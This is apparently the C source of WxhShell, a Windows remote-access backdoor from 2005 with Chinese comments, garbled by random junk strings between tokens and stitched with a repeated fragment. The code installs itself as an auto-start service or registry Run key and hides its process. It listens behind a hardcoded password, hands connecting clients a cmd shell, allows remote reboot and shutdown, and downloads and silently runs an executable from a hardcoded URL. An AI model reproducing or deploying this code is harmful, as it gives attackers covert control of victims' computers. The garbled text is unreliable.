\.EKZ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0;!aO.l]K NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tZk@ RX &pZ]F=.r+ if (!NtQueryInformationProcess) return 0; Zdr
+{- Q^Y>T&Q hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X`.4byqdK if(!hProcess) return 0; qusgX;) BaR9X ?~O$ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,Uc\
Ajx q~;P^i<Y CloseHandle(hProcess); Wa2V Z $kZ,uvKN hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :c!7rh7O if(hProcess==NULL) return 0; kD >|e<}\ ;k (}~_ HMODULE hMod; [
}jSx] char procName[255]; :>Z0Kb}7 unsigned long cbNeeded; qV/"30,K *xkbKkm if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7V 2% 6i9m!YQV CloseHandle(hProcess); mu=u!by.E f|m.v
+7k if(strstr(procName,"services")) return 1; // 以服务启动 Jn'q'+ \%mR*J+ return 0; // 注册表启动 RgRyo
} e@L+z -x:Wp*, // 主模块 f2uog$Hk int StartWxhshell(LPSTR lpCmdLine) v9x $` { n"@3d.21 SOCKET wsl; 4w*F!E2H\} BOOL val=TRUE; /+JCi6{sHS int port=0; ag:#82C struct sockaddr_in door; VBIPB f$*M;|c1c/ if(wscfg.ws_autoins) Install(); v$+G_ @ p#^L
ZX port=atoi(lpCmdLine); qVZ=:D{ wrK$ZO] if(port<=0) port=wscfg.ws_port; H1s{JJAM>i SKD!V6S WSADATA data; o7DDL{iR/ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e4khReF; rZKv:x}{6 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; No=f&GVg setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '?_I-="Mr door.sin_family = AF_INET; AY[7yPP door.sin_addr.s_addr = inet_addr("127.0.0.1"); [9'5+RXw3 door.sin_port = htons(port); Dr7,>Yx ;Zw! if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !yojZG MB closesocket(wsl); tE(x8>5A: return 1; 0b?9LFd } 31w?bx !Pp yc_(L-'n if(listen(wsl,2) == INVALID_SOCKET) { %/1`"M5ko closesocket(wsl); q/m}+v] return 1; z* zLK[t+ } u'yePJTE Wxhshell(wsl); [9[tn- WSACleanup(); v:JFUn} \@MGOaR] return 0; +\"@2mOH{+ WuSRA<{P } o1GWcxu*\ }{=%j~V;& // 以NT服务方式启动 S4~^HvMG[Y VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) oYlq1MB? { gA" =so DWORD status = 0; o~mY,7@a DWORD specificError = 0xfffffff; >Q[]i4*A ;#~rd8Z52 serviceStatus.dwServiceType = SERVICE_WIN32; hCQ{D|/ serviceStatus.dwCurrentState = SERVICE_START_PENDING; q'C'S#qqn serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q^"P_pV\ serviceStatus.dwWin32ExitCode = 0; .zBSjh_=H serviceStatus.dwServiceSpecificExitCode = 0; n." j0kc7= serviceStatus.dwCheckPoint = 0; #uu wzE*M_ serviceStatus.dwWaitHint = 0; }eEF/o 6&.[:IHw hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lJ}G"RTm if (hServiceStatusHandle==0) return; r>$jMo.S" `9zP{p status = GetLastError(); ~uzu*7U if (status!=NO_ERROR) "O9uz$ { gl2~6"dc serviceStatus.dwCurrentState = SERVICE_STOPPED; :_)Xe*O serviceStatus.dwCheckPoint = 0; zT!JHG serviceStatus.dwWaitHint = 0; dH#o11[ serviceStatus.dwWin32ExitCode = status; Q1buuF#CU& serviceStatus.dwServiceSpecificExitCode = specificError; B7?784{x, SetServiceStatus(hServiceStatusHandle, &serviceStatus); JOenVepQ, return; J5@_OIc1y }
mEyZ<U9 A3C<9wXx serviceStatus.dwCurrentState = SERVICE_RUNNING; ?|N:[. serviceStatus.dwCheckPoint = 0; e)cmZ8~S serviceStatus.dwWaitHint = 0; w`F}3zm if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); top3o{4 } 8Vl!&j0s^ zVl(?b&CF // 处理NT服务事件,比如:启动、停止 u^!-Z)W VOID WINAPI NTServiceHandler(DWORD fdwControl) y])xP%q2O { VdVca1Z switch(fdwControl) pOnZ7( { >jN)9}3>-# case SERVICE_CONTROL_STOP: Vwm\a]s serviceStatus.dwWin32ExitCode = 0; dXrv serviceStatus.dwCurrentState = SERVICE_STOPPED; .!nFy` serviceStatus.dwCheckPoint = 0; (Pvch! serviceStatus.dwWaitHint = 0; %8S!l;\H5 { n+Fl|4 SetServiceStatus(hServiceStatusHandle, &serviceStatus); !Aj_r^[X` } f\^FUJy return; Nl;rg*@o case SERVICE_CONTROL_PAUSE: DX4
95<6* serviceStatus.dwCurrentState = SERVICE_PAUSED; OM}:1He break; M#F;eK2pf case SERVICE_CONTROL_CONTINUE: ;9B:E"K?@1 serviceStatus.dwCurrentState = SERVICE_RUNNING; }6^( break; B0Xn9Tvk case SERVICE_CONTROL_INTERROGATE: Q'$aFl'NR break; 6M612 }; N-_2d*l 3 SetServiceStatus(hServiceStatusHandle, &serviceStatus); ymr-kB } G78rpp b4oZ@gVR; // 标准应用程序主函数 F
=d L#@^ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X1tAV>k5'L { U{i9h6b"18 {U-VInu // 获取操作系统版本 WlWBYnphZs OsIsNt=GetOsVer();
<&$!;d8 GetModuleFileName(NULL,ExeFile,MAX_PATH); ^XZmtB \$riwL // 从命令行安装 O3Ks|%1 if(strpbrk(lpCmdLine,"iI")) Install(); (MJu3t
@ =_.Zv // 下载执行文件 iwrdZLE if(wscfg.ws_downexe) { l ^\5Jr03 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) - Npl x WinExec(wscfg.ws_filenam,SW_HIDE); }tc,3>/ } pX6OhwkTK auL?Hb if(!OsIsNt) { tao3Xr^? // 如果时win9x,隐藏进程并且设置为注册表启动 /c3DltOdr HideProc(); ~~'XY( \L@ StartWxhshell(lpCmdLine); ;uR8pz e } Yx
XDRb\kW else 3ywBq9FGhp if(StartFromService()) E
hd* // 以服务方式启动 X Uh)z StartServiceCtrlDispatcher(DispatchTable); Q0ev*MS9Z else {[)J~kC+ // 普通方式启动 V`@@ufU} StartWxhshell(lpCmdLine); j_p.KF'[? d~GT w: return 0; nCXIWLw } o?/N4$&5l 9Z7o?S"; - DL/Hk_r f[h=>O =========================================== =We}&80x n#Z6 d` U/|B IF LDwu?"P! I?l*GO+pz >$HMZbsE " a/`fJY6rR 4.CLTy3W #include <stdio.h> GD~3RnGQ{ #include <string.h> hMi!H.EX. #include <windows.h> f-4<W0% #include <winsock2.h> T5W r;a #include <winsvc.h> 8oN4!#: #include <urlmon.h> AVyo)=& ROQk^ #pragma comment (lib, "Ws2_32.lib") $ZwsTV]x #pragma comment (lib, "urlmon.lib") y(6&90cr /Hx%gKU #define MAX_USER 100 // 最大客户端连接数 /M B0%6m #define BUF_SOCK 200 // sock buffer h/eKVRGs" #define KEY_BUFF 255 // 输入 buffer kwZC3p\\ _xUiHX< #define REBOOT 0 // 重启 >N+e c_D^ #define SHUTDOWN 1 // 关机 6mMJ$FY+ _RY<-B
#define DEF_PORT 5000 // 监听端口 ~''qd\.f$ X-~Q #define REG_LEN 16 // 注册表键长度 ^'v6
,*:4 #define SVC_LEN 80 // NT服务名长度
YgdoQBQ ,|xG2G6 // 从dll定义API URJ" typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LNk
3=v2M typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1pO ;aG1O typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); q:1 1XPP typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6t/})Xv E(]yjZ/ // wxhshell配置信息 IO]Oo3 struct WSCFG { ckN/_ u3 int ws_port; // 监听端口 %#ms`"H char ws_passstr[REG_LEN]; // 口令 /KlA7MH 6 int ws_autoins; // 安装标记, 1=yes 0=no .- c3f1i char ws_regname[REG_LEN]; // 注册表键名 z9;vE7n! char ws_svcname[REG_LEN]; // 服务名 P]r"E char ws_svcdisp[SVC_LEN]; // 服务显示名 UxD1+\N6? char ws_svcdesc[SVC_LEN]; // 服务描述信息 sOU_j4M{ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4ol=YGCI_ int ws_downexe; // 下载执行标记, 1=yes 0=no >G/>:wwSP. char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &v3r#$Hj[
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 988aF/c `d3S0N6@ }; g<}EL[9[J P{QRmEE // default Wxhshell configuration nb0<.ICF%R struct WSCFG wscfg={DEF_PORT, 6sB!m|zm]: "xuhuanlingzhe", pN4!*7M 1, "%A[%7LY "Wxhshell", Z2*hQ`eE "Wxhshell", wrGd40 "WxhShell Service", ?R"5 .3 "Wrsky Windows CmdShell Service", SuGlNp>#qm "Please Input Your Password: ", A(;J 1, d'Gv \i&e "http://www.wrsky.com/wxhshell.exe", z?1GJ8 "Wxhshell.exe" |byB7f }; f&^Ea-c Y k~ i.p // 消息定义模块 _2f}WY3S char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8a.
|CgI#h char *msg_ws_prompt="\n\r? for help\n\r#>"; T7cT4PAW char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Zb);08X char *msg_ws_ext="\n\rExit."; i&.F}bEi char *msg_ws_end="\n\rQuit."; 4B (*{ char *msg_ws_boot="\n\rReboot..."; K%Q^2"Eb0 char *msg_ws_poff="\n\rShutdown..."; Mt@K01MI% char *msg_ws_down="\n\rSave to "; &sx/qS#,VL 6@bGh|
char *msg_ws_err="\n\rErr!"; +u25>pX char *msg_ws_ok="\n\rOK!"; z13"S(5D~ s/P\w"/fN char ExeFile[MAX_PATH]; rYm<U!k int nUser = 0; !4.;Ftgjn HANDLE handles[MAX_USER]; )m5<gp ` int OsIsNt; y<3v/,Y G/<{:R" SERVICE_STATUS serviceStatus; /:awPYGH<1 SERVICE_STATUS_HANDLE hServiceStatusHandle; JBb}{fo~ 1`2lTkg // 函数声明 hn!$?Vo. int Install(void); 5:n&G[Md int Uninstall(void); sPc\xY int DownloadFile(char *sURL, SOCKET wsh); \hNMTj#O int Boot(int flag); =Eef void HideProc(void); H,3$TNXy int GetOsVer(void); DgOoEHy[ int Wxhshell(SOCKET wsl); ~Ycz(h'( void TalkWithClient(void *cs); e$F7wto int CmdShell(SOCKET sock); 1{";u"q int StartFromService(void); <!DOCvd int StartWxhshell(LPSTR lpCmdLine); xW"J@OiKL Mh3zl VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); B(^fM!_%-6 VOID WINAPI NTServiceHandler( DWORD fdwControl ); (T'inNbJe mjs*Z{_F^ // 数据结构和表定义 iCv &<C@ SERVICE_TABLE_ENTRY DispatchTable[] = ^T^U:Zdq { {p6",d."N& {wscfg.ws_svcname, NTServiceMain}, |S>nfL{TQe {NULL, NULL} |G%MiYd }; dF1Bo OQ!mL3f // 自我安装 3UrqV`x \ int Install(void) *'exvY~ { gfr``z=>O char svExeFile[MAX_PATH]; 7zQD.+&L HKEY key; HJg)c;u/2; strcpy(svExeFile,ExeFile); "#e2"=3* XTZWbhNF // 如果是win9x系统,修改注册表设为自启动 *j<;;z- if(!OsIsNt) { Pfd FB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ap;UxWqx RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mT-5Ok&TUe RegCloseKey(key); g3x192f if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RJtSHiM2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DC/CUKE.d RegCloseKey(key); +;;fw |/ return 0; EidIi"sr } DlIfr6F } Pu
axS } T<! `~#kM else { )(DV~1r= p}(w"?2 // 如果是NT以上系统,安装为系统服务 vBM\W%T|d SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?0_i{BvN if (schSCManager!=0) >O\-\L { 9=JU&/! SC_HANDLE schService = CreateService \vm'D'9 ( c#{<|
. schSCManager, F1%'
zsv wscfg.ws_svcname, 7g&_`( wscfg.ws_svcdisp, OQ[>s(`*{ SERVICE_ALL_ACCESS, I;mtyS SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4]
DmgOru% SERVICE_AUTO_START, p1Lx\ SERVICE_ERROR_NORMAL,
EQ=Enw1[ svExeFile, \=5CNe NULL, 2d1'!B
zDA NULL, "aa6W NULL, 1bj75/i<6 NULL, 1U"Y'y2 NULL C<n.C*o ); Ho"FB|e if (schService!=0) 9"V27"s { 4>5%SzZT\3 CloseServiceHandle(schService); -,5g cD CloseServiceHandle(schSCManager); K5w22L^=+ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $X\BO& strcat(svExeFile,wscfg.ws_svcname); Ke'bH if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C2Y&qX, RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Wm3H6o* RegCloseKey(key); z,]fR return 0; A#jiCIc } $B$=,^)3 } XUSfOf( CloseServiceHandle(schSCManager); <F=j6U7
} b0KorUr } ^k-H$] vDBnWA return 1; ~*2PmD"+: } }.T$bj1B;V IndNR:"g // 自我卸载 EO|
kiC int Uninstall(void) `_v-Y`Z { S?8q.59 HKEY key; H!45w;,I ~$Mp >ZB2W if(!OsIsNt) { 0kCUz if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _k
j51= RegDeleteValue(key,wscfg.ws_regname); ;
9'*w=V RegCloseKey(key); UT^t7MY#O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3'.OghI RegDeleteValue(key,wscfg.ws_regname); hw1ZTD:Y RegCloseKey(key); jN*A"m return 0; (U7%Z< } o[cKh7&+ } -rH3rKtf~ } p>!r[v' else { a.]
! Z;n}*^U SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); O-&n5 if (schSCManager!=0) pP".?|n { pH"LZ7)DI0 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qKSM*k~ if (schService!=0) r!x^P=f,MJ { @nZFw. if(DeleteService(schService)!=0) { cF/FretoO CloseServiceHandle(schService); ^|sQkufo CloseServiceHandle(schSCManager); W)9KYI9u return 0; {) .=G } @9c^{x\4 CloseServiceHandle(schService); Ok* :;G@ } U}qW9X;o CloseServiceHandle(schSCManager); ]1Q\wsB } <R!qOQI } Hh
qx)u + S%+Ku return 1; +h9CcBd } Ak9W8Z} 4ErDGYg} // 从指定url下载文件 }e@j(*8 int DownloadFile(char *sURL, SOCKET wsh) h 1Q7(8=Eg { 9#3+k/A HRESULT hr; ^SjGNg^ 7D char seps[]= "/"; [M;P:@ char *token; Ot,sMRk' char *file; riBT5 char myURL[MAX_PATH]; Y.hrU*[J0 char myFILE[MAX_PATH]; 6%yr>BFtVV p 3_Q strcpy(myURL,sURL); n"MFC token=strtok(myURL,seps); }'Z(J)Bg while(token!=NULL) UPgZj\t%{ { G A7 file=token; VvltVYOZA token=strtok(NULL,seps); r":<1+07 } TY8 8PXW \Xkx`C GetCurrentDirectory(MAX_PATH,myFILE); i3Ffk+ |b strcat(myFILE, "\\"); l"cO@.T3 strcat(myFILE, file); \dfq&oyU\ send(wsh,myFILE,strlen(myFILE),0); =a {Z7W
send(wsh,"...",3,0); }`h}h<B( hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gB0)ec 0 if(hr==S_OK) h]D=v B return 0; :s$9#}hw, else d-?~O~qD|! return 1; }U#S* Y&j6;2-Z } |RpC0I Ia(A&Za // 系统电源模块 $h$+EE! int Boot(int flag) (te\!$ { %WO;WxG8^ HANDLE hToken; @E==~ b TOKEN_PRIVILEGES tkp; ~ib#x~Db @L~y%# if(OsIsNt) { '17=1\Ss6; OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~pF'Qw"z| LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o+ tY[UX tkp.PrivilegeCount = 1;
&bL1G(} tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "@f`O AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); HSUr if(flag==REBOOT) { 4$|G$h if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2R5]UR S return 0; v)pdm\P } ae^xuM?7 else { c{852R if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Y8AU<M return 0; %V+,# } Us%VBq } /g8yc'{p else { :]//{HF if(flag==REBOOT) { ~\oJrRYR` if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) SS`\,%aog return 0; vw(};)8 } '/"( `f, else { {bNnhW*qOu if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9j,zaGD0 return 0; 7"QcvV@p } +(P;4ZOmB } G_o/ lIz" Onc!5L return 1; G!Uq#l> } s/T5aJR Dnp^yqz* // win9x进程隐藏模块 huQ1A0(no void HideProc(void) pH*L8tT
{ O{dx+f 2N]y)S_<V HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ny~;"n if ( hKernel != NULL ) TQEZ<B$ { /stED{j, pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *in_Zt3 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W!Xgse3 FreeLibrary(hKernel); |fJ,+)_( } UtWoSFZ'o! P_?1Rwm-45 return; My[L3KTTp } 59ivL6=3 97BL%_^k // 获取操作系统版本
AI)9E=D% int GetOsVer(void) dB/Epc& { =uvv|@Z OSVERSIONINFO winfo; \UE9Ff+{ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); te:VYP GetVersionEx(&winfo); i@p?.%K{ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) oFsMQ Py return 1; *&U9npN else MJD4#G return 0; vw!i)JO8M } Wm\f:|U5` ,fNiZ // 客户端句柄模块 `Yut1N int Wxhshell(SOCKET wsl) Lr+2L_/v` { 2T|L##C SOCKET wsh; p\,lbrv struct sockaddr_in client; TJVNR_x DWORD myID; JLeV@NO p]>bN while(nUser<MAX_USER) CHLMY}O0 { INkrG.=u int nSize=sizeof(client); l/1uP wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v` B_xEl if(wsh==INVALID_SOCKET) return 1; +I/P5OGRN aE;!mod handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^@)+P/& if(handles[nUser]==0) Y<|L|b6 closesocket(wsh); P EbB0GL else KL|B| u nUser++; sX=!o})0 } CtE".UlCA WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zL_X?UmV d~n+Ds)%F return 0; 6\]-J*e> } Pjx9@i Gis'IX( // 关闭 socket 4RzG3CJdS void CloseIt(SOCKET wsh) sC}/?^q { -OziUM1qs closesocket(wsh); fZGKVxo" nUser--; ZHB'^#b ExitThread(0); * T~sR'K+| } 'N}Wo}1r 5H',Bm4- // 客户端请求句柄 n
XQg(! void TalkWithClient(void *cs) i? a]v 5 { ) ejvT- n_w,Ew,>5 SOCKET wsh=(SOCKET)cs; W6*(Y char pwd[SVC_LEN]; G3e%~ char cmd[KEY_BUFF]; ^ZV xBQKg char chr[1]; ;Lu}>.t int i,j; 9\"~ G) 6HEl1FK{@ while (nUser < MAX_USER) { ;or> Sh7 f.u{;W if(wscfg.ws_passstr) { ,%:`Ll
t]$ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -Pvt+I> //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {=(4 //ZeroMemory(pwd,KEY_BUFF); A,iXiDb3pK i=0; w}E?FEe. while(i<SVC_LEN) { 1] kk a`{'u)@ // 设置超时 qVY\5`f@ fd_set FdRead; z,NHH):~ struct timeval TimeOut; Tq?W @DM* FD_ZERO(&FdRead); q`\lvdl FD_SET(wsh,&FdRead); 8cd,SQ}y TimeOut.tv_sec=8; BpKP]V TimeOut.tv_usec=0; k'\RS6M`L int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
O35f5Kz if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
d,H% 1n5&PNu if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4@VX%5uy pwd=chr[0]; kz??""G7/ if(chr[0]==0xd || chr[0]==0xa) { n%O`K{86 pwd=0; ES+&e/G"ds break; R0+m7mx#E } 'IgtBd|K> i++; P_Zo}.{ } Kzmgy14o X31k HK5F_ // 如果是非法用户,关闭 socket "y`?KY$[N if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x0#+yP }
o]FQ)WRB 'z\F-Ttq send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j^k{~]+_^] send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LQS*/s0 NN$`n*;l while(1) { &wjOb K}zw%!ex ZeroMemory(cmd,KEY_BUFF); xq]&XlA:ug ZBYmAD // 自动支持客户端 telnet标准 712i| j=0; |)lo<}{ while(j<KEY_BUFF) { Tu"yoF if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m760K*:i\ cmd[j]=chr[0]; T&h|sa( if(chr[0]==0xa || chr[0]==0xd) { 'R$~U?i8 cmd[j]=0; FqiK}K.~/ break; jVA xa|S } <ImeZ'L7 j++; qzG'Gz{{qu } :')<|(Zy
D?E5p.!A // 下载文件 %1lLUgf3G/ if(strstr(cmd,"http://")) { S}|ea2 send(wsh,msg_ws_down,strlen(msg_ws_down),0); a(
qw if(DownloadFile(cmd,wsh)) 3) 7'dM send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1n,JynJ else 6-^+btl)# send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "3v%| } </}[x2w?] else { N$3F4b%+ [m"X*ZF switch(cmd[0]) { .c',?[S/vH ePF9Vzq // 帮助 f"-?%I*' case '?': { b1^MX).vH send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); SQHVgj break; g"!B
| } t9=rr>8) // 安装 |?0C9 case 'i': { ;m\(fW*ii if(Install()) %URyGS]* send(wsh,msg_ws_err,strlen(msg_ws_err),0); <;Xj4
J else rUuM__;d send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0lEIj/u break; 3j3AI7c } 9K&b1O@Aj // 卸载 UR\*KR;yM case 'r': { jjwY{jV if(Uninstall()) fu|I(^NV send(wsh,msg_ws_err,strlen(msg_ws_err),0); e]5QqM7 else e5AiIVlv send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I7}[%(~Sf/ break; ]02V,'x } HH]LvK // 显示 wxhshell 所在路径 5-sxTp case 'p': { \;sUJr"$ char svExeFile[MAX_PATH]; ]__M* strcpy(svExeFile,"\n\r"); .z9JoQ strcat(svExeFile,ExeFile); #A|MNJ%m send(wsh,svExeFile,strlen(svExeFile),0); Axcm~!uf break; i\3`?d } R` N-^x // 重启 -W oZwqh case 'b': { #\"5:.H Oz send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);
mjw:Z, if(Boot(REBOOT)) 68D.Li send(wsh,msg_ws_err,strlen(msg_ws_err),0); J"z8olV else { 3}sd%vCK closesocket(wsh); APF-*/K? ExitThread(0); *v&g>Ni } Z)ObFJMG5 break; N#UyAm<9 } $}jSIn=~|t // 关机 0h5T&U]${Y case 'd': { NTn-4iJy send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P!-9cd1C, if(Boot(SHUTDOWN)) !]"T`^5,Y send(wsh,msg_ws_err,strlen(msg_ws_err),0); cLXMq"?C else { uYs+xX_ closesocket(wsh); *f,EDSN1@d ExitThread(0); +DU}f;O8v } 8J@REP4 break; BO1Mz=q } /6f$%:q // 获取shell {!<zk+h$ case 's': { 3n,F5?!m CmdShell(wsh); )Z]8SED closesocket(wsh); :*\JJ w ExitThread(0); ?{+}gS^ break; 1_F2{n:yp } x&kF;UC // 退出 fghJj@ES case 'x': { n0cqM}P@;! send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O6m}#?Ai/@ CloseIt(wsh); b>o38( break; jirxzj } h nyZXk1| // 离开 X${k case 'q': { `" send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9]|cs closesocket(wsh); `i<U;?=0' WSACleanup(); <Nkj)`%5iK exit(1); T[c;}, break; eO*FoN } cm-!6'` } "zYlddh } %SIbpk% _TkiI. ' // 提示信息 8?ZK^+]y if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xC{ W_a( } >8QLo8)3C } l.FkX uNLA/hL+n return; 0b4QcfB1[ } X\uN:;?#W{ _O)~<Sk-*z // shell模块句柄 qL]!/} int CmdShell(SOCKET sock) 2x t
8F { S\mh{#Lpk STARTUPINFO si; \|Us/_h ZeroMemory(&si,sizeof(si)); CGPPo;RjK si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t}]=5)9< si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '(~+
\ PROCESS_INFORMATION ProcessInfo; E QMn'> char cmdline[]="cmd"; "*<9)vQ6| CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s<aJ pi{n4 return 0; $(G.P!/ } }ob#LC, EW|bs#l // 自身启动模式 ;QS-a int StartFromService(void) 4y:yFTp { l(*`,-pv: typedef struct gP?pfFhG { }5u$/c@f1 DWORD ExitStatus; :<!a.%= DWORD PebBaseAddress; +H8]5~',L% DWORD AffinityMask; 8L^5bJ DWORD BasePriority; (xy/:i".V ULONG UniqueProcessId; &KT*rL ULONG InheritedFromUniqueProcessId; ,d$V-~2, } PROCESS_BASIC_INFORMATION; F0qGkMs|f r 1n l! PROCNTQSIP NtQueryInformationProcess; ;3 O0O 1o
V\QK& static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7"FsW3an static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; x} {/) ?vC X=8y$Yy HANDLE hProcess; }f/ 1 PROCESS_BASIC_INFORMATION pbi; )|zLjF$ Etj@wy/E HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~#C7G\R if(NULL == hInst ) return 0; !Qy%sY Il `35~a g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pxDkf|* g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Et}S*!IS NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Se{}OG) /0A9d-Qd< if (!NtQueryInformationProcess) return 0; ]MKW5Kq N8#wQ*MM> hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tZB"(\ if(!hProcess) return 0; p
D-k<8| (_ HwU/ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,(
u-x! qs6r9?KP CloseHandle(hProcess); Y w7txp`i +`}QIp0 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ibAZ=RD if(hProcess==NULL) return 0; bnIl@0Y &e0BL z HMODULE hMod; m&a.i
